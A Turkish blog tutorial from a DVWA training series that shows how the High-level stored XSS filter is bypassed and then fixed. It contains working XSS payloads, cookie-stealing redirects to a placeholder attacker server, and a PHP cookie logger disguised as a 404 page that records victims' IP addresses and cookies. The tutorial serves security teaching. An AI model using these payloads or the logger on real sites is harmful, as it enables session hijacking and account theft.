DVWA Stored XSS (High Level)
Bu yazıda güvenlik düzeyi High seviyesine yükseltilmiş DVWA'da Stored XSS'e karşı ne gibi bir güvenlik önlemi alındığı incelenecektir ve alınan güvenlik önlemine rağmen yine Stored XSS saldırısı düzenlenebilir mi sorusuna yanıt aranacaktır.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

High Güvenlik Seviyesinde Stored XSS Önlemi

Geçen derste bahsedilen medium seviye güvenlik önlemi aşılabilmişti. Şimdi bir de güvenlik High seviyesindeyken kullanılan güvenlik önlemine bakalım:

Stored XSS (High Level):

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 


9ncu satırda görülebileceği gibi arayüzdeki ikinci girdi alanı textarea kutusu yine sağlam bir şekilde filtrelenmektedir. Önce strip_tags() ile tüm tag'lar kaldırılmaktadır. Ardından htmlspecialchars() ile tüm html etikler kalan varsa encode'lanmaktadır.

6. satırda görülebileceği gibi ilk girdi kutusu texarea medium güvenlik seviyesine göre daha korunaklıdır. Fakat yeterli değildir. textbox'dan gelen veri belirtilen regular expression desenine sahip mi değil mi diye kontrol ediliyor. Desendeki nokta (.) işareti herhangi bir karakter anlamına gelirken noktadan sonraki yıldız (*) işareti ise önceki ifadeden 0 kez ya da daha fazla kez olabilir anlamını gelir. Yani (.*) ile ifade edilen şey 0 ya da daha fazla kez ‘karakter’ gelebilirdir. Kullanılan desene odaklanacak olursak

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Yukarıdaki ifadenin dayandığı syntax şudur:

/pattern/modifiers

pattern desen anlamına gelmektedir. modifiers kısmı ise preg_match() fonksiyonundaki regular expression'ın sonuna bakacak olursanız i harfini almıştır. i harfi aranılan deseni hem büyük harfe göre hem de küçük harfe göre aramaya yarar. Böylece aranılan desene uygun karakter dizisi büyük harf de olsa küçük harf de olsa seçilecektir ve silinecektir. Bir daha desene bakacak olursak

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”. Yani güvenlik medium seviyesinde iken verilmiş aşağıdaki örneğe bir daha göz atacak olursak

<scr<script>ipt>alert('Site Halen XSS Açığına Sahip');</script>

preg_replace() fonksiyonu bu parçalı <scr<script>ipt> ifadesini kendi regular expression’ı ile eşleşmiş bulacaktır. Dolayısıyla <scr<script>ipt> ifadesini komple silecektir.

Ayrıca preg_replace() fonksiyonu büyük küçük harf olarak her ikisini de kapsar ayarlandığından payload'da büyük veya küçük harf yazmak artık işe yaramayacaktır.

<Script>alert('Site Halen XSS Açığına Sahip');</script>

Stored XSS High Seviye Güvenliği Atlatma

High seviye güvenlik önleminde unutulan bir şey vardır. Stored XSS saldırısı sadece <script ile yapılabilen bir saldırı değildir. Diğer html etiketleri ve javascript event'leri ile de aynı saldırı tatbik edilebilir. Örneğin;

# Açıklık Var mı Kontrol Payload'u:

<img src=x onerror="alert('Site Halen XSS Açığına Sahip')"/>

veya

<img/src/onerror=alert('Site Halen XSS Açığına Sahip')>

payload'ları denendiğinde javascript komutları kusursuzca çalışacaktır ve ekrana sitenizde xss var popup'ı gelecektir. Burada yapılan işlem html <img etiketi src değerini başarılı şekilde yükleyemezse hata event'i onerror tetiklensin ve içerisindeki javascript komutları çalışsındır. src'a x harfini koyarak geçersiz bir adres değeri vermiş olduğumuzdan onerror event'i tetiklenmektedir ve javascript komutu çalışmaktadır.





High seviyede xss saldırısı halen yapabildiğimizi fark ettik. Peki daha ileriye taşıyabilir miyiz? Yani çerez çalabilir miyiz? Evet! Metot yine aynı:

# Exploitation

<svg/onload=window.location='http://SALDIRGAN_
WEB_SUNUCU_VM_IP/index.php?cookie='+document.cookie>

[!] Uyarı:

Şu iki payload teorik olarak uygun görünse de başarıyla çalıştırılamamıştır.

<img src=x onerror="window.location='http://SALDIRGAN_
WEB_SUNUCU_VM_IP/index.php?cookie=' + document.cookie"/>

<img/src/onerror=window.location='
http://SALDIRGAN_WEB_SUNUCU_
VM_IP/index.php?cookie='+document.cookie>

Not:

SALDIRGAN_WEB_SUNUCU_VM_IP yerine aşağıdaki kodların index.php halinde yer aldığı bir web sunucu adresi girilmesi gerekmektedir. Örneğin Kali Linux sistem ip'si.

Kali Linux VM'deki Apache Web Sunucuda index.php:

<html>
    <head>
        <title>404 Not Found</title> 
    </head>
    <body>
    404 Not Found
        <?php
            $ip = $_SERVER["REMOTE_ADDR"];        // Sayfaya girenin ip’si alınır.
            $cookie = $_GET["cookie"];            // Hazırlanmış linke tıklayanın çerezi alınır.
            $dateTime = date('d.m.y \t H:i:s');   // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır.
             
            $file = fopen("cerezler.html", "a+");
 
            fwrite($file, "#######################################<br>");
            fwrite($file, "Kurbanin IP Adresi : " . $ip . "<br>"); 
            fwrite($file, "Tiklama Zamani      : " . $dateTime . "<br>");
            fwrite($file, "Kurbanin Cerezi      : " . $cookie . "<br>"); 
            fwrite($file, "#######################################<br><br><br>");
 
            fclose($file);
       ?>
    </body>
</html>
















Peki geliştiriciler ne yapmalı? Impossible seviyesine göz atalım:

Stored XSS (Impossible Level):

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>, 

Arayüzdeki iki girdi alanı da html encode'lama ile encode'lanmaktadır. Böylece stored xss imkanı ortadan başarıyla kalkmaktadır. Geliştiriciler girdileri çıktı olarak sunmadan önce html encode'lama fonksiyonlarından geçirmelidirler. Diğer türlü xss baş belası olacaktır.
Bu yazı 26.03.2025 tarihinde, saat 04:18:07'de yazılmıştır. 26.03.2025 tarihi ve 06:19:30 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 86
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :